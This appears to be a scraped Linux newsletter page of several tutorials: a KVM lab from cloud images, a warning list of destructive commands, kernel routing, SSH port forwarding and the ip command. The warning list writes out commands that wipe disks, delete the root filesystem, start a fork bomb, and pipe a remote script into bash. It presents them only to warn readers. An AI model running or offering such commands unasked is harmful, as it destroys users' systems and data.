You install the software, open the interface, create a new virtual machine, attach an ISO, and go through the operating system installation step by step.

It works.

Linux also provides a native virtualization stack built around KVM and QEMU.

With it, you can work directly with virtual machine disk images and build systems in a faster and more flexible way.

Instead of performing a full operating system installation each time, you can start from an existing image, prepare it for your environment, and run it as a virtual machine.

This approach is common in real-world environments where systems need to be created quickly, tested, replaced, or rebuilt without repeating the same installation process each time.

In this guide, you will use KVM to build a simple lab environment by importing and working with disk images.

You will go through the process step by step, from preparing the image to creating the virtual machine and accessing it.

Checking if your system supports virtualization

Before working with KVM, your system needs to support hardware virtualization.

Most modern CPUs already support it, but it’s worth verifying.

Run the following command:

$ grep -E 'vmx|svm' /proc/cpuinfo

This command looks inside /proc/cpuinfo, which contains information about your processor, and searches for specific flags.

The vmx flag indicates Intel virtualization support, while svm indicates AMD virtualization support.

If your system supports virtualization, you should see one of these flags in the output, usually repeated across multiple lines.

For example, you might see something like vmx or svm listed among the CPU features.

If you only want to confirm support without scrolling through the output, you can return the number of occurrences instead:

$ egrep -c '(vmx|svm)' /proc/cpuinfo

A value greater than 0 confirms that virtualization is supported.

If these command returns no output, virtualization is either not supported or disabled in the BIOS or UEFI settings. In most cases, it is simply disabled, and you can enable it from your firmware settings under options such as Intel VT-x or AMD-V.

• KVM relies on hardware virtualization to run virtual machines efficiently. Without it, you won’t be able to use KVM as expected.

Installing the KVM tools

KVM itself is part of the Linux kernel.

What you install are the tools used to create, manage, and interact with virtual machines.

For this demonstration, I’m using Fedora 42.

If you’re running Fedora or any Red Hat–based system, you can install the required packages with:

$ sudo dnf install qemu-kvm libvirt virt-install guestfs-tools genisoimage virt-manager virt-viewer

These packages give you everything needed to work with KVM.

qemu-kvm provides the virtualization backend, libvirt handles virtual machine management and networking, and virt-install allows you to create virtual machines from the command line.

The guestfs-tools package includes tools like virt-customize, which you’ll use later to prepare disk images.

The remaining tools, such as virt-manager and virt-viewer, provide graphical access if you need it, while genisoimage is useful when working with ISO files.

If you are using Ubuntu or another Debian-based system, you can install the equivalent tools with:

$ sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients virtinst libguestfs-tools genisoimage virt-manager virt-viewer

After installation, make sure the libvirtd service is running:

$ systemctl status libvirtd

If it is not running, start and enable it:

$ sudo clearsystemctl start libvirtd
$ sudo systemctl enable libvirtd

To manage virtual machines without using sudo, add your user to the libvirt group:

$ sudo usermod -aG libvirt $USER

Instead of logging out and back in, you can apply the change immediately with:

$ newgrp libvirt

The newgrp command allows you to switch your current session to a new group without logging out, so the updated permissions take effect right away.

If you prefer not to modify group membership, you can run the commands as root or continue using sudo.

If your user is not part of the libvirt group, you may run into permission errors when creating or managing virtual machines.

Now that the tools are installed, the next step is to get a disk image that we can use to build our lab.

If you’re enjoying this article,

I wrote a 700+ page book teaching Linux step by step, with real examples you can follow and break safely in your own lab.

If you’re serious about learning Linux properly, check it out:

FIRST STEPS WITH LINUX

Getting a disk image

To avoid going through a full operating system installation, you’ll work with prebuilt disk images.

These images already contain a minimal operating system and are ready to be used as virtual machines.

Most of these images are distributed in the qcow2 format, which is commonly used with KVM and QEMU.

You can download ready-made images from the OpenStack image repository.

They provide minimal images for distributions like RHEL, Fedora, and Ubuntu.

These images are lightweight and designed to boot quickly, which makes them ideal for testing and lab environments.

For this demonstration, I’ll be using the lastest cloud image from Rocky Linux.

You can download it from their official site.

Look for the Rocky Linux 10 cloud image (qcow2).

Cloud images are minimal by design and are intended to be customized and deployed quickly.

Once you’ve downloaded the image, move it to the default directory used by libvirt:

$ sudo mv Rocky-10-GenericCloud-Base.latest.x86_64.qcow2 /var/lib/libvirt/images/rock-10.qcow2

This is where libvirt expects virtual machine disk images to be stored.

In the example, I have moved and renamed the image to a new name (rock-10.qcow2)to make things simple.

The image is small when downloaded, but it will grow as you use it.

Make sure you have enough disk space available, especially if you plan to create multiple virtual machines.

At this point, you have a base image ready.

The next step is to prepare it for your environment before turning it into a virtual machine.

Preparing the disk image

The image you downloaded is minimal and not ready for direct use.

Cloud images are designed to be initialized dynamically, usually through tools like cloud-init.

For this setup, you’ll prepare the image manually so it behaves like a normal system.

To modify the image, you’ll use the virt-customize tool.

Run the following command:

$ sudo virt-customize \
-a /var/lib/libvirt/images/rock-10.qcow2 \
--hostname rocky-10-kvm-lab \
--root-password password:root \
--uninstall cloud-init \
--selinux-relabel

This command modifies the disk image before it is even booted.

The -a option specifies the path to the image.

The --hostname option sets the hostname of the virtual machine.

The --root-password option defines the root password. In this case, it is set to root.

The --uninstall cloud-init option removes cloud-init from the image. This avoids delays during boot, since the system will no longer wait for cloud-init configuration.

The --selinux-relabel option ensures that file contexts are correctly restored after making changes to the image. This is important on systems like Rocky Linux, Fedora, and other SELinux-enabled distributions.

The image must not be running when you use virt-customize. You are modifying it offline.

The virt-customize tool provides many more options than what is shown here. You can explore them using the manual pages (man virt-customize) and experiment based on your needs.

Now, the image is configured and ready to be used as a virtual machine.

The next step is to import it into KVM and create the virtual machine.

Creating the virtual machine

Now that the image is prepared, you can import it into KVM and create a virtual machine.

Run the following command:

$ sudo virt-install \
--name rocky-10-kvm-lab-demo \
--memory 1024 \
--vcpus 1 \
--disk /var/lib/libvirt/images/rock-10.qcow2 \
--import \
--os-variant rocky9.0 \
--noautoconsole

This command creates a virtual machine using the existing disk image.

The --name option defines the name of the virtual machine.

The --memory option sets the RAM in megabytes, and --vcpus defines how many virtual CPUs the system will use.

The --disk option points to the image you prepared earlier.

The --import option tells KVM to use the existing disk instead of installing a new operating system.

The --os-variant option helps optimize the virtual machine configuration for a specific operating system.

To see the operating systems available on your system, you can run:

$ osinfo-query os

This command queries the local OS information database and lists the operating systems recognized by libosinfo.

You can achieve the same thing with:

$ virt-install --osinfo list

But osinfo-query os is prefered since it provides additional info.

If you want to narrow the output, you can pipe it to grep. For example:

$ osinfo-query os | grep -i rocky

On my system, the latest available entry is rocky9.0.

However, the image used in this demonstration is Rocky Linux 10.1.

You can still use the closest available match when specifying the operating system.

You can also use the newer --osinfo option, which is based on the same underlying database and provides a more flexible way to define the operating system:

--osinfo detect=on,name=rocky9.0.

This tells libvirt to use information from the OS database to configure the virtual machine.

The detect=on option first tries to detect the operating system from the disk image.

If detection fails, it falls back to the value provided with name=rocky10.0.

This helps ensure that the virtual machine is created with suitable defaults for that operating system.

Accessing the virtual machine

Once the virtual machine is created, it starts running in the background.

To confirm that it is running, you can list active virtual machines:

$ virsh list

To connect to the system, you first need its IP address.

You can retrieve it using:

$ sudo virsh domifaddr rocky-10-kvm-lab-demo

This command shows the network interfaces associated with the virtual machine, including the assigned IP address.

Look for an entry under the address column.

Once you have the IP address, connect using SSH:

$ ssh root@192.168.122.227

Use the root password you configured earlier. N

You’ll notice the password does not work. SSH attempts different authentication methods and eventually fails with:

Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password)

This is a good opportunity to understand what is happening.

On many cloud images, especially Rocky, root login using a password over SSH is disabled by default, even if a root password is set.

This means the system allows SSH access, but refuses password-based login for root.

A few common reasons for this behavior:

• PermitRootLogin is set to prohibit-password or without-password

• PasswordAuthentication is disabled

• The image is designed to use SSH keys instead of passwords

In this setup, you did not inject an SSH key, so SSH has no valid authentication method to use.

To confirm this, connect to the virtual machine console:

$ sudo virsh console rocky-10-kvm-lab-demo

If the login prompt does not appear immediately, press Enter a few times.

Log in as root using the password root.

Once inside, check the effective SSH configuration:

$ sshd -T | grep -E 'permitrootlogin|passwordauthentication'

The output clearly explains why the login failed.

passwordauthentication is enabled, but permitrootlogin is set to without-password, which means root login is only allowed using SSH keys, not a password.

You can verify the effective SSH configuration using sshd -T. This shows the final values after all configuration files and drop-in overrides are applied.

Let’s fix that by creating a drop-in file instead of modifying the main SSH configuration file:

$ printf 'PermitRootLogin yes\nPasswordAuthentication yes\n' > / etc/ssh/sshd_config.d/99-root-login.conf

$ systemctl restart sshd

Now verify the effective configuration again:

$ sshd -T | grep -E 'permitrootlogin|passwordauthentication'

You can now connect using SSH with the root password. First exit the console by pressing Ctrl + ]

$ ssh root@192.168.122.227

If you prefer key-based authentication, you can inject an SSH key when preparing the image with virt-customize.

For example:

$ ssh-keygen -t rsa

$ sudo virt-customize \
-a /var/lib/libvirt/images/rock-10.qcow2 \
--ssh-inject 'root:file:/root/.ssh/id_rsa.pub'

This adds your public key to the image so you can connect without a password:

$ ssh root@192.168.122.227

If the IP address does not appear, the virtual machine may still be initializing its network.

Give it a few seconds and run the command again.

At this point, you have a working virtual machine running from a prebuilt image.

You can log in, install packages, test configurations, and experiment freely without affecting your main system.

Every virtual machine you create from an image starts from the same baseline. If you need multiple systems, create a copy of the image for each virtual machine. A single disk image should not be shared between multiple VMs.

Stopping the virtual machine

Once you are done working with the virtual machine, you can stop it.

To see running virtual machines:

$ virsh list

To stop the virtual machine gracefully:

$ virsh shutdown rocky-10-kvm-lab-demo

This sends a shutdown signal to the guest operating system, allowing it to close services and unmount filesystems properly.

If the virtual machine does not respond, you can force it to stop:

$ virsh destroy rocky-10-kvm-lab-demo

This stops the virtual machine immediately, similar to cutting power.

If you want to start it again later:

$ virsh start rocky-10-kvm-lab-demo

Closing

At this point, you have a working virtual machine built from a prebuilt image.

No installation wizard. No repeated setup steps.

You took an image, prepared it, and turned it into a running system in a few commands.

This is a faster way to build lab environments.

You can keep a collection of images, adjust them for different use cases, and spin up new systems whenever you need them.

From here, you can go further.

Create multiple virtual machines, connect them together, simulate networks, or test real-world scenarios.

Everything starts from the same idea: take an image, run it, and use it.

That’s it.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Subscribe now

The reason is simple: I have been finishing something that took much longer than I originally expected.

For almost two years I’ve been working on a book called First Steps with Linux, a practical guide that takes you from zero Linux experience to confidently managing Linux systems.

Writing it alongside work, research, and the articles I publish here turned out to be a bigger project than I imagined. There were many moments where I thought it was almost finished, only to realize there were still chapters that needed rewriting, diagrams that needed improvement, or concepts that needed clearer explanations.

Today I’m happy to finally say:

The book is finished.

Why I wrote this book

Many of the articles on this newsletter focus on deep dives into specific Linux topics. Over time I noticed something interesting in the questions I received from readers.

Most people weren’t struggling with one isolated command or tool.

They were struggling with connecting the pieces together.

Linux has incredible documentation and countless tutorials online, but beginners often jump between random guides without seeing how everything fits together.

So the idea behind this book was simple:

Create a resource that teaches Linux as a system, not just as a collection of commands.

What the book covers

The final manuscript ended up much larger than I planned.

The book now runs 700+ pages and covers a wide range of practical Linux topics, including:

• Navigating the Linux command line and filesystem

• File permissions, SUID/SGID, Access Control Lists (ACLs), and file attributes

• Managing users and groups

• Working with disk partitions and filesystems such as ext4 and XFS, including partitioning, formatting, repairing, and mounting disks

• Software management using apt, dnf, and rpm-based systems, including managing local repositories

• Storage technologies such as LVM, RAID, swap, disk quotas, NFS, and autofs

• Working with regex, archives, and compressed files

• Process management, including foreground and background processes and priority control

• Task automation using cron, systemd timers, batch, and at

• Practical Linux networking: managing interfaces, IP addresses, and routing

The goal was to build something that helps readers move from basic Linux usage to confidently managing real systems.

Technical review

An early version of the book was technically reviewed by Alex Callejas, Services Content Architect at Red Hat and author of Fedora Linux System Administration.

His feedback helped refine several sections of the book and improve explanations across multiple chapters.

Beta readers

Before the final release, the book was shared with a small group of beta readers who carefully reviewed sections of the manuscript and provided detailed feedback.

Their comments helped clarify explanations, identify confusing areas, and improve several chapters across the book.

I’m very grateful for the time they invested in reading early drafts and helping shape the final version.

Where to get the book

To celebrate the launch, the book is available at a special launch price of $49.

The regular price will increase to $69 after the launch window.

You can get the book here:

Get the Book

Thank you

If you’ve been reading the articles on this newsletter, thank you.

Many of the ideas that shaped this book came from the discussions and questions shared here over the years.

Your feedback helped shape what the book eventually became.

I’ll return to publishing new Linux deep dives here soon. Now that the book is finally finished, there are several topics I’ve been wanting to write about.

First Steps With Linux is now complete — 600+ pages, professionally formatted, carefully structured, and built to the standard I’ve always aimed for, including a companion lab guide.

Here are two small previews from inside the book:

Read more

In this guide, we’ll walk through 13 dangerous Linux commands that every user should be aware of. Run any of these on your system, and you could lose everything.

1. Recursive Deletion

This infamous command recursively and forcibly deletes everything from the root directory. If executed as root or with sudo, it doesn’t ask questions, it just erases the entire filesystem.

$ sudo rm -rf /

Thankfully, modern versions of rm include a built-in safeguard. If you try to run this command on the root directory (/), it will refuse by default and print a warning. To override this, a user would have to explicitly include the --no-preserve-root option:

$ sudo rm -rf --no-preserve-root /

That flag disables the protection and forces deletion of everything from the root — which is why it’s incredibly dangerous and should never be used under any normal circumstances.

2. Imploding Your Hard Drive

Moving files to /dev/null is essentially vaporizing them. It’s Linux’s black hole — anything sent there is gone forever. Mistakenly redirecting or moving critical files here can lead to unrecoverable data loss.

$ sudo find / -type f -exec mv /dev/null {} +

# OR 

$ sudo mv -rf / /dev/null

3. The Fork Bomb

This one’s deceptively short but devastating. It defines a function that repeatedly calls itself, consuming CPU and memory until your system freezes.

$ :(){ :|:& };:

To prevent this kind of denial-of-service, you can limit the number of processes per user:

$ ulimit -S -u 4000

4. Overwriting the Disk

This command writes raw output directly to the disk, destroying partition tables and wiping data. Even innocent-looking commands can become dangerous if misdirected to disk devices.

$ yes > /dev/sda

5. Downloading and Running Scripts Blindly

Using wget or curl to download and pipe a script directly into bash is asking for trouble — especially if the source is unknown or unverified.

$ wget https://malicious_source_url -O - | bash

Or:

$ curl https://malicious_source_url | bash

Always inspect scripts before executing them.

6. Permission Apocalypse

Running this command gives full read/write/execute permissions to all users on every file in your system. Not only is this insecure — it breaks proper permission structures and can introduce serious vulnerabilities.

$ sudo chmod -R 777 /

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

7. Accidental Recursive Ownership Change

This one is surprisingly common. Running chown recursively on the wrong path can instantly break your system by changing ownership of critical files and directories.

$ sudo chown -R user:user /

On the surface, this looks harmless — maybe you were trying to fix a permission issue in your home directory and forgot to change the path. But when run on /, it changes ownership of every file on the system, including system binaries, configuration files, and services that must be owned by root.

The result is a system that behaves erratically: services fail to start, package managers break, and security boundaries are completely destroyed.

Unlike a single bad chmod, this mistake is difficult to undo. There’s no simple way to “put ownership back” without reinstalling or restoring from a backup.

8. Formatting the Hard Drive

This formats your entire hard disk, wiping the data and creating a new filesystem. A typo here — or a lack of understanding — can erase your OS instantly.

$ mkfs.ext3 /dev/sda

9. Writing Junk Data to Disk

Commands that write random or garbage data directly to the disk can completely destroy your storage device’s contents. These are sometimes used in data destruction or overwriting scenarios.

$ dd if=/dev/urandom of=/dev/sda bs=1M

10. Re-running All Commands from History

Running the entire contents of your command history with this one-liner can be unpredictable and destructive.

$ sudo history | sh

11. Quick Command Replacement

The ^foo^bar syntax is useful for correcting previous commands, but risky if used carelessly. For example:

$ ^mv^rm ~/backups

This would replace mv with rm, potentially deleting an important directory instead of moving it.

12. Deleting All Crontabs: crontab -r

One wrong flag, and all your scheduled tasks vanish. Unlike crontab -e, which edits tasks, -r removes them entirely — and does so without confirmation.

$ crontab -r

Back up your crontab regularly and use the -l flag to list tasks before modifying

Please do not run any of the above commands on your actual system or on machines you care about. If you’re curious about how they work, use a disposable virtual machine or container for testing.

Running any of these — intentionally or by mistake — can bring your system to a halt or cause irreparable damage.

13. Extracting Archives as Root Without Inspecting Them

Extracting a tar archive as root without checking its contents can overwrite critical system files, change permissions, or drop files into unexpected locations.

$ sudo tar -xf backup.tar

Tar archives can contain absolute paths, parent directory traversals (../), or files targeting system locations like /etc, /usr/bin, or /root. When extracted as root, tar will happily write wherever the archive tells it to.

This is especially dangerous with archives downloaded from the internet or created by automated backup systems. A single bad archive can overwrite configuration files, replace binaries, or silently introduce malicious files.

A safer approach is to always inspect an archive before extracting it:

$ tar -tf backup.tar

And, when possible, extract into a dedicated directory instead of /:

$ mkdir /tmp/extract
$ tar -xf backup.tar -C /tmp/extract

Once you’ve verified the contents, you can move files into place intentionally instead of letting tar decide for you.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Every time an application sends a packet, the Linux kernel decides where that packet should go. Sometimes the traffic stays local. Sometimes it leaves through a specific interface. In other cases, it must be forwarded to another network entirely. All of those decisions are made using the same routing logic, regardless of whether the system is acting as a simple workstation or as a multi-homed router.

This article looks at routing from the perspective of a single Linux host. We focus on how the kernel determines reachability and selects paths for outgoing traffic, working step by step through routes, scopes, routing tables, policy-based routing, and routing marks.

Rather than jumping straight into commands, the emphasis is on how routing decisions are made inside the kernel and how those decisions affect where packets actually go. Understanding this flow makes it easier to reason about routing behaviour, especially once systems become multi-homed or start handling traffic for other networks.

Routing vs Forwarding

Routing and forwarding are closely related, but they are not the same thing.

Routing is the decision-making process. It is about determining the best path a packet should take based on the information available to the kernel.

Forwarding is the action. It is the act of moving a packet from one network interface to another, or delivering it locally when the destination belongs to the system itself.

By default, Linux does not forward packets between interfaces. This is intentional. A server should not accidentally behave like a router. When packet forwarding is enabled, Linux becomes capable of moving traffic between networks, but it still relies on routing information to decide how that traffic should flow.

To check whether IPv4 packet forwarding is enabled, you can use:

$ sysctl net.ipv4.ip_forward

If the output is 0, packet forwarding is disabled. If the output is 1, packet forwarding is enabled.

To enable packet forwarding temporarily, you can write directly to the kernel parameter:

$ echo 1 > /proc/sys/net/ipv4/ip_forward

Or use sysctl:

$ sysctl -w net.ipv4.ip_forward=1

Both methods take effect immediately, but the change does not persist across reboots.

To make packet forwarding permanent, add the following line to a drop-in file under /etc/sysctl.d/. You can choose any filename, but it is common to prefix it with a number, for example 99-ip-forward.conf:

net.ipv4.ip_forward = 1

Then apply the configuration:

$ sudo sysctl -p

Once a packet arrives on an interface, the kernel must answer a simple question:

Is this packet meant for me, or should it be sent somewhere else?

Routing determines the answer. Forwarding is what happens next.

IP Destination Classes

From the kernel’s point of view, every destination IP falls into one of three categories. This classification happens early and shapes every routing decision that follows.

Local destinations are IP addresses assigned to the system itself. This includes interface addresses and the loopback range.

You can see local destinations by inspecting interface addresses:

$ ip -c -4 -brief addr

Each address shown here represents traffic that terminates on the local machine. The loopback interface deserves special attention: the entire 127.0.0.0/8 range points back to the system itself and is commonly used for local testing and inter-process communication.

If you are coming from Cisco or Juniper, these are typically referred to as local routes, and they usually appear as /32 host routes in routing tables.

Connected networks are networks that are directly reachable through a local interface. If an interface is configured with an address in a given subnet, Linux knows that any IP within that subnet can be reached without a router.

You can view connected networks with:

$ ip route show scope link

These routes tell the kernel which networks are reachable directly and through which interface. Traffic destined for any of these networks is sent straight out of the corresponding interface, without involving a gateway.

For example, traffic to 192.168.8.1 is sent directly out of enp2s0.

If you come from Cisco or Juniper environments, these are known as connected routes. Notice the use of scope link here; we will revisit scopes in more detail shortly.

Remote networks include everything else. If a destination is neither local nor directly connected, Linux must send the packet to a router that is directly reachable.

These routers are typically represented by default routes:

$ ip route show default

In this case, the system has two default routes, one per interface. Linux will not use both arbitrarily. Instead, it compares their metrics and selects the preferred path. We will look at route selection and metrics in detail later.

This classification is fundamental. Before the kernel evaluates metrics or chooses a gateway, it first determines whether a destination is local, connected, or remote.

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

What are Routes

A route is simply an instruction that tells the kernel how to reach a destination.

At a minimum, a route answers three questions:

• Which destination does this apply to?

• Where should the packet go next?

• Which interface should be used?

In Linux, a route is made up of a few core components:

• Destination

  This can be a single IP address (a host route), a subnet (a network route), or a catch-all default route (0.0.0.0/0).

• Next hop

  This is the IP address of the next router the packet should be sent to. If the destination is directly connected, no next hop is required.

• Interface

  This is the local network interface the packet will exit from.

You can see how the kernel interprets a route decision using ip route get. For example:

$ ip route get 1.1.1.1

This output shows the full routing decision for that destination:

• 1.1.1.1 is the destination address.

• 192.168.8.1 is the next hop (gateway).

• enp2s0 is the interface used to send the packet.

• 192.168.8.102 is the source address chosen for the packet.

• uid 1000 indicates which user initiated the traffic.

There are additional routing attributes, such as metrics and routing tables, weight, which we will look at later. For now, the important point is that this is the final decision the kernel has made for that packet.

If the destination belongs to a directly connected network, there is no next hop. The packet is sent straight out of the appropriate interface.

If the destination is remote, the route must specify a gateway. That gateway itself must be reachable through a directly connected network. Linux will never forward traffic to a next hop it cannot already reach.

Routes are not guesses or suggestions. They are explicit rules the kernel follows when deciding where packets should go.

Route Scopes

Route scopes describe how far a route can “see”. They define the visibility of a route and place boundaries on where it can be used. These scopes map directly to the destination classes we discussed earlier.

Linux primarily uses three scopes: host, link, and global.

Host scope routes apply only to addresses on the local machine. These include interface IP addresses and the loopback range. Traffic matching a host-scope route never leaves the system and never involves packet forwarding.

You can inspect host-scope routes across all routing tables with:

$ ip route show scope host table all

The loopback range appears as 127.0.0.0/8 because it is treated as a special local network. Any address within that range will always resolve back to the local system:

$ ping 127.2.4.23 -c 3

Even though the address looks arbitrary, the traffic never leaves the host.

Link scope routes apply to directly connected networks. These routes are used for destinations that can be reached without passing through a router. Traffic matching a link-scope route is sent directly out of the associated interface.

You can view link-scope routes with:

$ ip route show scope link table all

Alongside unicast routes, you’ll also see broadcast routes. Broadcast addresses target all hosts on a local network segment and are automatically created by the kernel for each connected network.

Global scope routes apply to destinations beyond the local system and its directly connected networks. These routes require one or more routers to reach the final destination. The default route is the most common example.

You can identify global-scope routes with:

$ ip -4 route show scope global table all

These routes act as catch-all paths for traffic that does not match any more specific destination.

Route scopes are not cosmetic labels. They allow the kernel to quickly eliminate routes that cannot possibly apply to a given destination, making route selection faster and more predictable.

Routing Tables

Linux does not store all routes in a single flat list. Instead, routes are grouped into routing tables. Each table represents a separate set of routing decisions that the kernel can consult when processing a packet.

You may have already noticed this in earlier commands, where we used table all to display routes from every table at once. By default, however, most commands operate on a single table unless told otherwise.

Read more

Instead of forwarding one specific port to one specific service, dynamic port forwarding turns SSH into a local proxy that can carry any TCP traffic through the connection. Because of this flexibility, an SSH session using dynamic forwarding can behave almost like a lightweight, application-level VPN.

The idea is simple: SSH opens a SOCKS5 proxy on your machine. Any application that knows how to use a SOCKS proxy, web browsers, package managers, command-line tools, can send their traffic into it. SSH then decides where that traffic should go based on the requests coming from the application. It’s the application, not the tunnel, that chooses the final destination.

You will often see dynamic port forwarding used for web browsing. By routing your browser’s traffic through an SSH tunnel, you can make it appear as if you’re browsing from the SSH server’s network. This is useful for accessing geo-restricted content, bypassing local network filters, or simply adding an extra layer of encryption to your web traffic.

To see this behavior clearly, we’ll recreate a situation where normal internet access is blocked and then use dynamic forwarding to work around it.

Lab Setup

For this scenario, we can reuse our local ssh tunnel lab setup, so we have:

• The client machine (192.168.60.10) where I’ll run my SSH command and open the tunnel.

• The webserver server (192.168.60.11 ) that I can connect to via SSH.

Instead of keeping this abstract, the diagram below shows how dynamic port forwarding works end to end, from the local SOCKS proxy to the SSH server and out to the destination requested by the application.

NOTE:

If you skipped the first part or haven’t set up the lab yet, the GitHub repository includes the full setup so you can start from here.

Simulating a Network Restriction

But first let’s do some house cleaning and disable the firewall on the webserver so that we don’t have any issues when testing the dynamic tunnel.

This ensures that any failure we see comes from the client side restrictions, not from the SSH server itself. So, on the webserver run:

$ sudo ufw disable

With the server ready, we can now introduce the real problem dynamic forwarding is meant to solve.

Now let’s pretend that our ISP is blocking access us from accessing websites, so if we try to curl google.com from the client machine, it will fail, to simulate that, we can configure a firewall to block all outgoing http and https traffic on the client machine:

Read more

Instead of forwarding traffic directly to the SSH server, we forward it through a machine that sits between you and the actual target. This intermediate machine is commonly known as a bastion host.

SSH Proxy Tunnel (Forwarding Through an Intermediate Server)

So here is how it looks like, one machine is exposed to the outside world, while the internal systems sit protected behind it. For most of the part, you can only reach the bastion host directly. The internal systems are hidden away, inaccessible from the public internet. Since the bastion host has access to those internal systems, it becomes our gateway into the private network. So we can make use of ssh local port forwarding to reach those internal systems through the bastion host.

So here is how it works: you open a local port on your laptop, just like standard local forwarding. But instead of sending that traffic directly to the SSH server, you tell SSH to forward it further into the internal network, to a machine that only the bastion host can reach.

To make this clearer, here’s a visual representation of how local port forwarding works when a bastion host sits between you and the internal machine:

Let’s demonstrate this in the lab.

Lab Setup

So for this I have setup 3 machines:

• The client machine (192.168.56.10 ) where I’ll run my SSH command and open the tunnel.

• The bastion host (192.168.56.11) which I’ll connect to via SSH.

• The internal machine (192.168.57.11) that I want to reach through the bastion host.

Read more

In this part, we’ll flip the direction. Instead of pulling traffic toward the client, we’ll look at remote port forwarding, where the remote machine opens a port and sends traffic back to your local system.

Understanding Remote Port Forwarding

Remote port forwarding works in the opposite direction of local forwarding. Instead of opening a port on your laptop and sending traffic into a remote network, you open a port on the remote machine and send traffic back to your laptop. This is useful when your laptop is running a service that the remote side cannot reach directly, maybe because you’re behind NAT, a firewall, or you simply don’t have a public IP.

A classic example is when you’re developing a web application locally and want someone else to access it. Take James, for instance. He’s been building a website on his laptop and wants to show it to his colleague Kay. The problem? James is sitting behind a private network with no public IP, and incoming connections to his laptop are blocked. Kay has no direct way of reaching James’s machine, and James doesn’t have the time or desire to deploy the site to a public server just for a quick preview.

What James can do, however, is spin up a temporary server on the cloud, something both of them can reach, and use SSH remote port forwarding to expose his local website through that server. The cloud VM opens a port, and anything sent to that port is quietly tunneled back to James’s laptop. From Kay’s perspective, the website looks like it’s being served from the cloud, even though it’s actually running on James’s machine at home. This will make more sense in the lab, so let’s jump right another lab.

Lab Setup

So for this I have setup 3 machines:

• james-lap (192.168.70.10) - James’s laptop where the web application is running locally on port 80.

• aws-pub-instance (192.168.70.10 and 192.168.80.20) - A cloud VM that both James and Kay can access. This machine will act as the SSH server for remote port forwarding.

• kay-pc (192.168.80.10) - Kay’s computer from which she wants to access James’s local web application.

Notice the aws-pub-instance has two network interfaces, one connected to James’s network (192.168.70.0/24) and the other connected to Kay’s network (192.168.80.0/24). This setup allows both James and Kay to reach the aws-pub-instance. Normally, a cloud VM would have a normally single public IP address, but for the sake of this lab, we are simulating the cloud environment using private IPs.

NOTE:

If you skipped the first part or haven’t set up the lab yet, the GitHub repository includes the full setup so you can start from here.

Verifying Connectivity

Both kay and james cannot directly reach each other due to network restrictions, but they can both access the aws-pub-instance. which we can confirm by pinging from both sides: From james-lap:

$ vagrant ssh james-lap
$ ping aws-pub-instance
$ ping kay-pc

from kay-pc:

$ vagrant ssh kay-pc
$ ping aws-pub-instance
$ ping james-lap

As you can see, both James and Kay can reach the aws-pub-instance, but they cannot reach each other directly. and Also just to be sure that james’s local web application is running, let’s curl it from james-lap:

$ curl localhost

Great! The web application is up and running on James’s laptop. Now, let’s set up the remote port forwarding from james-lap to aws-pub-instance.

Creating the Remote SSH Tunnel

The syntax looks similar to local port forwarding, but with the -R option and reversed order of ports:

$ ssh -N -R <remote-address>:<remote_port>:<local_address>:<local_port> user@remote_public_ssh_server

Again we will break this down in a bit, but for now, let’s run the command on james-lap to create the remote tunnel:

Read more

This becomes incredibly useful once you star…

Read more

What are Systemd Timers?

In L…

Read more

ip is part of the iproute2 suite, included by default in all modern Linux distributions. It’s a powerful all-in-one tool for managing network interfaces, IP addresses, routes, and neighbor tables, replacing older utilities like ifconfig, route, and arp.

You’ll use it to bring interfaces up or down, assign addresses, inspect routes, create network namespaces and even manipulate neighbor (ARP) tables.

In this episode, we’ll focus on using the ip command to manage network interfaces, addresses, routes, and connections on a Linux system.

Peeking Inside the ip Command

Before we start experimenting, let’s look at how the ip command is structured.

ip [ OPTIONS ] OBJECT { COMMAND | help }

At first glance, this may look dense, but it’s actually straightforward once you understand the pattern. The structure is always:

1. Options – Extra flags that change how ip behaves globally.

2. Object – What part of the network you’re interacting with.

   Each object represents a kernel networking subsystem. Some common ones are:

   • link – network interfaces (Ethernet, Wi-Fi, loopback)

   • address – IPv4 or IPv6 addresses on those interfaces

   • route – entries in the routing table

   • neighbor – ARP or NDP neighbor cache

   • maddress – multicast memberships

   • rule – routing policy database

TIP

You can use short forms too: addr for address, r for route, l for link, and so on.

3. Command – The action you want to take on that object.

   Each object supports its own set of commands:

   • show or list – display information

   • add – create a new entry (address, route, etc.)

   • del – remove an entry

   • replace – update an existing one

   • help – display valid options and syntax


Managing Network Interfaces

Every network device in Linux, whether wired, wireless, or virtual, is represented by an interface. These interfaces are managed through the link object of the ip command.

When you use ip link, you’re listing and controlling the network interfaces recognized by the system.

Let’s start exploring.

Viewing All Interfaces

To see all interfaces currently recognized by your system, run:

ip link show

You’ll get output similar to:

Let’s decode that quickly:

• The number (1:, 2:) is the interface index.

• lo and enp0s3, enp0s8 are interface names.

• Flags inside < > describe capabilities and state (UP, BROADCAST, MULTICAST, etc.).

• mtu is the maximum transmission unit, the largest packet size the interface can handle.

• link/ether shows the MAC address (hardware address).

• The state tells whether the interface is currently up (active) or down.

NOTE

lo is the loopback interface, a virtual interface the system uses to talk to itself. It’s always present and usually stays up.

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

Bringing an Interface Down

If you want to temporarily disable a network interface, use:

$ sudo ip link set dev enp0s8 down

This shuts down packet transmission and reception on enp0s8 (notice the state is DOWN). It’s useful when testing configurations or disabling a specific connection without unplugging cables or removing devices.

After running it, the interface will no longer appear in ip route show outputs because it’s considered inactive by the kernel. The routing table only displays routes from active interfaces.

Bringing an Interface Up

When you bring an interface up, you’re telling the system that the device should start transmitting and receiving packets.

$ sudo ip link set dev enp0s8 up

This sends a netlink request that transitions the enp0s8 interface to an UP state.

You can verify it:

